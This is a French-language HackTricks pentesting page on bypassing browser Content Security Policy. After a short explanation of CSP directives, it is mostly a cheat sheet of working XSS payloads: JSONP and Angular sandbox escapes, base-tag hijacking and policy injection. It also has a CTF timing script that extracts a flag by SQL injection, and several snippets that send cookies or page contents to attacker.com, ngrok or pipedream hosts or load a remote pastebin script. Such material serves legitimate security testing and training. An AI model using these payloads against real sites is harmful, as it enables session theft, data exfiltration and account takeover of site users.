hacktricks/pentesting-web/content-security-policy-csp-bypass

Contournement de la politique de sécurité du contenu (CSP)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Obtenez le swag officiel PEASS & HackTricks
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lisez les tutoriels sur les bugs web3

🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs

💬 Participez aux discussions de la communauté

Qu'est-ce que CSP

La politique de sécurité du contenu ou CSP est une technologie intégrée au navigateur qui aide à se protéger contre des attaques telles que les scripts intersites (XSS). Elle répertorie et décrit les chemins et les sources à partir desquels le navigateur peut charger en toute sécurité des ressources. Les ressources peuvent inclure des images, des cadres, du javascript et plus encore. Voici un exemple de ressources autorisées à être chargées et exécutées en ligne à partir du domaine local (self) et permettant l'exécution de code de chaîne de caractères de fonctions telles que eval, setTimeout ou setInterval :

La politique de sécurité du contenu est mise en œuvre via des en-têtes de réponse ou des éléments meta de la page HTML. Le navigateur suit la politique reçue et bloque activement les violations détectées.

Mise en œuvre via l'en-tête de réponse :

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implémenté via la balise meta :

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

En-têtes

• Content-Security-Policy
• Content-Security-Policy-Report-Only Celui-ci ne bloquera rien, il enverra seulement des rapports (à utiliser dans l'environnement Pre).

Définition des ressources

CSP fonctionne en restreignant les origines à partir desquelles le contenu actif et passif peut être chargé. Il peut également restreindre certains aspects du contenu actif tels que l'exécution de javascript en ligne et l'utilisation de eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

• script-src: Cette directive spécifie les sources autorisées pour JavaScript. Cela inclut non seulement les URL chargées directement dans les éléments, mais aussi des choses comme les gestionnaires d'événements de script en ligne (onclick) et les feuilles de style XSLT qui peuvent déclencher l'exécution de script.
• default-src: Cette directive définit la politique de récupération des ressources par défaut. Lorsque les directives de récupération sont absentes dans l'en-tête CSP, le navigateur suit cette directive par défaut.
• Child-src: Cette directive définit les ressources autorisées pour les travailleurs Web et les contenus de cadre intégrés.
• connect-src: Cette directive restreint les URL à charger en utilisant des interfaces telles que fetch, websocket, XMLHttpRequest
• frame-src: Cette directive restreint les URL aux cadres qui peuvent être appelés.
• frame-ancestors: Cette directive spécifie les sources qui peuvent intégrer la page actuelle. Cette directive s'applique à <frame>, <iframe>, <object>, <embed>, ou <applet>. Cette directive ne peut pas être utilisée dans les balises et s'applique uniquement aux ressources non-HTML.
• img-src: Elle définit les sources autorisées pour charger des images sur la page Web.
• font-src: Cette directive spécifie les sources valides pour les polices chargées à l'aide de @font-face.
• manifest-src: Cette directive définit les sources autorisées des fichiers de manifeste d'application.
• media-src: Elle définit les sources autorisées à partir desquelles les objets multimédias peuvent être chargés.
• object-src: Elle définit les sources autorisées pour les éléments <object>, <embed> et <applet>.
• base-uri: Elle définit les URL autorisées qui peuvent être chargées à l'aide d'un élément.
• form-action: Cette directive répertorie les points de terminaison valides pour la soumission à partir des balises.
• plugin-types: Elle définit des limites sur les types MIME que peut invoquer une page.
• upgrade-insecure-requests: Cette directive indique aux navigateurs de réécrire les schémas d'URL, en changeant HTTP en HTTPS. Cette directive peut être utile pour les sites Web avec un grand nombre d'anciennes URL qui doivent être réécrites.
• sandbox: La directive sandbox permet de créer un bac à sable pour la ressource demandée, similaire à l'attribut sandbox. Elle applique des restrictions aux actions d'une page, notamment en empêchant l'ouverture de pop-ups, en empêchant l'exécution de plugins et de scripts, et en imposant une politique de même origine.

Sources

• *: Cela permet n'importe quelle URL sauf les schémas data:, blob:, filesystem:
• self: Cette source définit que le chargement de ressources sur la page est autorisé à partir du même domaine.
• data: Cette source permet le chargement de ressources via le schéma de données (par exemple, des images codées en Base64)
• none: Cette directive n'autorise rien à être chargé à partir d'aucune source.
• unsafe-eval: Cela permet l'utilisation de eval() et de méthodes similaires pour créer du code à partir de chaînes. Ce n'est pas une pratique sûre d'inclure cette source dans une directive. Pour la même raison, elle est nommée unsafe.
• unsafe-hashes: Cela permet d'activer des gestionnaires d'événements en ligne spécifiques.
• unsafe-inline: Cela permet l'utilisation de ressources en ligne, telles que des éléments en ligne, des URL javascript:, des gestionnaires d'événements en ligne et des éléments en ligne. Encore une fois, cela n'est pas recommandé pour des raisons de sécurité.
• nonce: Une liste blanche pour des scripts en ligne spécifiques utilisant un nonce cryptographique (nombre utilisé une fois). Le serveur doit générer une valeur de nonce unique à chaque fois qu'il transmet une politique.
• sha256-<hash>: Liste blanche des scripts avec un hachage sha256 spécifique
• strict-dynamic: Elle permet au navigateur de charger et d'exécuter de nouvelles balises JavaScript dans le DOM à partir de n'importe quelle source de script qui a été précédemment autorisée par une valeur "nonce" ou "hash".
• host: Indique un hôte tel que example.com

Règles CSP non sécurisées

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Charge utile fonctionnelle : "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload fonctionnel:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si vous pouvez d'une manière ou d'une autre faire en sorte qu'un code JS autorisé crée une nouvelle balise script dans le DOM avec votre code JS, car un script autorisé le crée, la nouvelle balise script sera autorisée à être exécutée.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Charge utile fonctionnelle:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Absence de object-src et default-src

{% hint style="danger" %} Il semble que cela ne fonctionne plus {% endhint %}

Content-Security-Policy: script-src 'self' ;

Payloads fonctionnels :

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Téléchargement de fichiers + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Si vous pouvez télécharger un fichier JS, vous pouvez contourner cette CSP:

Charge utile fonctionnelle:

"/>'><script src="/uploads/picture.png.js"></script>

Cependant, il est très probable que le serveur valide le fichier téléchargé et n'autorise que certains types de fichiers.

De plus, même si vous pouviez télécharger un code JS à l'intérieur d'un fichier en utilisant une extension acceptée par le serveur (comme: script.png), cela ne suffirait pas car certains serveurs comme le serveur Apache sélectionnent le type MIME du fichier en fonction de l'extension et les navigateurs comme Chrome refuseront d'exécuter le code Javascript à l'intérieur de quelque chose qui devrait être une image. Heureusement, il y a des erreurs. Par exemple, à partir d'un CTF, j'ai appris qu'Apache ne connaît pas l'extension .wave, donc il ne la sert pas avec un type MIME comme audio/*.

À partir de là, si vous trouvez une XSS et un téléchargement de fichier, et que vous parvenez à trouver une extension mal interprétée, vous pouvez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte (quelques exemples de polyglottes ici).

Points d'extrémité tiers + ('unsafe-eval')

{% hint style="warning" %} Pour certains des payloads suivants, unsafe-eval n'est même pas nécessaire. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Chargez une version vulnérable d'Angular et exécutez du JS arbitraire:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads utilisant Angular + une bibliothèque avec des fonctions qui renvoient l'objet window (consultez cet article):

{% hint style="info" %} L'article montre que vous pouvez charger toutes les bibliothèques depuis cdn.cloudflare.com (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque et vérifier quelles fonctions de quelles bibliothèques renvoient l'objet window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Points d'extrémité tiers + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Des scénarios comme celui-ci où script-src est défini sur self et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points d'extrémité JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'effectuer une XSS, charge utile de travail:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contient des points d'extrémité JSONP prêts à l'emploi pour contourner CSP de différents sites web.

La même vulnérabilité se produira si le point d'extrémité de confiance contient une redirection ouverte car si le point d'extrémité initial est de confiance, les redirections sont de confiance.

Contournement de chemin de dossier

Si la politique CSP pointe vers un dossier et que vous utilisez %2f pour encoder "/", il est toujours considéré comme étant à l'intérieur du dossier. Tous les navigateurs semblent être d'accord avec cela.
Cela conduit à un contournement possible, en utilisant "%2f..%2f" si le serveur le décode. Par exemple, si CSP autorise http://example.com/company/, vous pouvez contourner la restriction de dossier et exécuter: http://example.com/company%2f..%2fattacker/file.js

Exemple en ligne: https://jsbin.com/werevijewa/edit?html,output

Exécution de JS Iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri manquant

Si la directive base-uri est manquante, vous pouvez l'exploiter pour effectuer une injection de balisage en suspens.

De plus, si la page charge un script en utilisant un chemin relatif (comme /js/app.js) en utilisant un Nonce, vous pouvez abuser de la balise base pour le faire charger le script depuis votre propre serveur pour atteindre un XSS.
Si la page vulnérable est chargée avec httpS, utilisez une URL httpS dans la base.

<base href="https://www.attacker.com/">

Événements AngularJS

En fonction de la politique spécifique, le CSP bloquera les événements JavaScript. Cependant, AngularJS définit ses propres événements qui peuvent être utilisés à la place. Lorsqu'il est à l'intérieur d'un événement, AngularJS définit un objet $event spécial, qui fait simplement référence à l'objet d'événement du navigateur. Vous pouvez utiliser cet objet pour effectuer une contournement de CSP. Sur Chrome, il y a une propriété spéciale sur l'objet $event/event appelée path. Cette propriété contient un tableau d'objets qui provoque l'exécution de l'événement. La dernière propriété est toujours l'objet window, que nous pouvons utiliser pour effectuer une évasion de bac à sable. En passant ce tableau au filtre orderBy, nous pouvons énumérer le tableau et utiliser le dernier élément (l'objet window) pour exécuter une fonction globale, telle que alert(). Le code suivant illustre cela:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Trouver d'autres contournements Angular dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS et domaine autorisé

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Si l'application utilise Angular JS et que les scripts sont chargés à partir d'un domaine autorisé, il est possible de contourner cette politique CSP en appelant des fonctions de rappel et des classes vulnérables. Pour plus de détails, consultez ce dépôt git génial.

Payloads fonctionnels:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

D'autres points d'exécution arbitraires JSONP peuvent être trouvés ici (certains ont été supprimés ou corrigés).

Contourner CSP avec un balisage suspendu

Lire comment ici.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' signifie que vous pouvez exécuter n'importe quel script à l'intérieur du code (XSS peut exécuter du code) et img-src * signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.

Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans ce cas, le XSS exploite un CSRF où une page accessible par le bot contient une injection SQL, et extrait le drapeau via une image):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Vous pouvez également abuser de cette configuration pour charger du code JavaScript inséré dans une image. Si, par exemple, la page permet de charger des images depuis Twitter, vous pouvez créer une image spéciale, la télécharger sur Twitter et abuser de l'option "unsafe-inline" pour exécuter un code JS (comme un XSS classique) qui va charger l'image, extraire le JS de celle-ci et l'exécuter : https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Avec les workers de service

La fonction importScripts des workers de service n'est pas limitée par CSP :

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Injection de politique

Recherche : https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Si un paramètre envoyé par vous est collé à l'intérieur de la déclaration de la politique, vous pouvez modifier la politique de manière à la rendre inutile. Vous pouvez autoriser le script "unsafe-inline" avec l'une de ces méthodes de contournement :

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Parce que cette directive va écraser les directives script-src existantes.
Vous pouvez trouver un exemple ici: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci: ;_ Edge supprimera l'ensemble de la politique.
Exemple: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Attaque temporelle

Remarquez l'absence de la directive 'unsafe-inline'.
Cette fois, vous pouvez faire en sorte que la victime charge une page sous votre contrôle via XSS avec un <iframe. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous voulez extraire des informations (CSRF). Vous ne pouvez pas accéder au contenu de la page, mais si vous pouvez contrôler le temps nécessaire à la page pour se charger, vous pouvez extraire les informations dont vous avez besoin.

Cette fois, un drapeau va être extrait, chaque fois qu'un caractère est correctement deviné via SQLi, la réponse prend plus de temps en raison de la fonction de sommeil. Ensuite, vous pourrez extraire le drapeau:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur. Ce bookmarklet contiendrait du code javascript malveillant qui, lorsqu'il est glissé-déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, contournant CSP et permettant de voler des informations sensibles telles que des cookies ou des jetons.

Pour plus d'informations, consultez le rapport original ici.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Fuite d'informations CSP + Iframe

Imaginez une situation où une page redirige vers une autre page avec un secret en fonction de l'utilisateur. Par exemple, l'utilisateur admin accédant à redirectme.domain1.com est redirigé vers adminsecret321.domain2.com et vous pouvez causer un XSS à l'administrateur.
Les pages redirigées ne sont pas autorisées par la politique de sécurité, mais la page qui redirige l'est.

Vous pouvez divulguer le domaine vers lequel l'administrateur est redirigé via :

• une violation de CSP
• des règles CSP.

La violation de CSP est une fuite instantanée. Tout ce qui doit être fait est de charger un iframe pointant vers https://redirectme.domain1.com et d'écouter l'événement securitypolicyviolation qui contient la propriété blockedURI contenant le domaine de l'URI bloqué. Cela est dû au fait que https://redirectme.domain1.com (autorisé par CSP) redirige vers https://adminsecret321.domain2.com (bloqué par CSP). Cela utilise un comportement indéfini de la façon de gérer les iframes avec CSP. Chrome et Firefox se comportent différemment à cet égard.

Lorsque vous connaissez les caractères qui peuvent composer le sous-domaine secret, vous pouvez également utiliser une recherche binaire et vérifier quand le CSP a bloqué la ressource et quand il ne l'a pas fait en créant différents domaines interdits dans le CSP (dans ce cas, le secret peut être sous la forme doc-X-XXXX.secdrivencontent.dev).

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Astuce provenant de ici.

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lisez les tutoriels sur les bugs web3

🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs

💬 Participez aux discussions de la communauté

Technologies non sécurisées pour contourner CSP

Surcharge du tampon de réponse PHP

PHP est connu pour mettre en tampon la réponse à 4096 octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant suffisamment de données dans les avertissements, la réponse sera envoyée avant l'en-tête CSP, ce qui entraînera l'ignorance de l'en-tête.
Ensuite, la technique consiste essentiellement à remplir le tampon de réponse avec des avertissements pour que l'en-tête CSP ne soit pas envoyé.

Idée provenant de ce writeup.

Réécrire la page d'erreur

D'après ce writeup, il semble possible de contourner une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME est une technique qui abuse d'un XSS (ou d'un XSS très limité) dans un point d'extrémité d'une page pour abuser d'autres points d'extrémité de la même origine. Cela est fait en chargeant le point d'extrémité vulnérable à partir d'une page d'attaquant, puis en actualisant la page d'attaquant vers le point d'extrémité réel dans la même origine que vous voulez abuser. De cette façon, le point d'extrémité vulnérable peut utiliser l'objet opener dans la charge utile pour accéder au DOM du point d'extrémité réel à abuser. Pour plus d'informations, consultez :

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

De plus, wordpress a un point d'extrémité JSONP dans /wp-json/wp/v2/users/1?_jsonp=data qui reflète les données envoyées en sortie (avec la limitation de seulement des lettres, des chiffres et des points).

Un attaquant peut abuser de ce point d'extrémité pour générer une attaque SOME contre WordPress et l'intégrer à l'intérieur de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> notez que ce script sera chargé car il est autorisé par 'self'. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'attaque SOME à travers le point d'extrémité de rappel vulnérable qui contourne le CSP pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...
Pour plus d'informations sur la façon de réaliser cette attaque, consultez https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Contournements de l'exfiltration CSP

S'il y a un CSP strict qui ne vous permet pas d'interagir avec des serveurs externes, il y a des choses que vous pouvez toujours faire pour exfiltrer l'information.

Location

Vous pouvez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes :

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Balise Meta

Vous pouvez rediriger en injectant une balise meta (il s'agit simplement d'une redirection, cela ne divulguera pas de contenu)

<meta http-equiv="refresh" content="1; http://attacker.com">

Préchargement DNS

Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôte en adresses IP et les mettre en cache pour une utilisation ultérieure.
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec: <link reol="dns-prefetch" href="something.com">

Vous pourriez abuser de ce comportement pour exfiltrer des informations sensibles via des requêtes DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Une autre méthode:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Afin d'éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP :

X-DNS-Prefetch-Control: off

{% hint style="info" %} Apparemment, cette technique ne fonctionne pas dans les navigateurs headless (bots) {% endhint %}

WebRTC

Sur plusieurs pages, vous pouvez lire que WebRTC ne vérifie pas la politique connect-src de la CSP.

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));

Cependant, il semble que ce ne soit plus possible (ou du moins pas aussi facilement).

Si vous savez comment exfiltrer des informations avec WebRTC envoyez une pull request s'il vous plaît !

Vérification des politiques CSP en ligne

• https://csp-evaluator.withgoogle.com/
• https://cspvalidator.org/

Création automatique de CSP

https://csper.io/docs/generating-content-security-policy

Références

• https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
• https://lcamtuf.coredump.cx/postxss/
• https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
• https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
• https://www.youtube.com/watch?v=MCyPuOWs3dg

​

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lisez les tutoriels sur les bugs web3

🔔 Soyez informé des nouveaux programmes de primes pour bugs

💬 Participez aux discussions de la communauté

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Obtenez le swag officiel PEASS & HackTricks
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.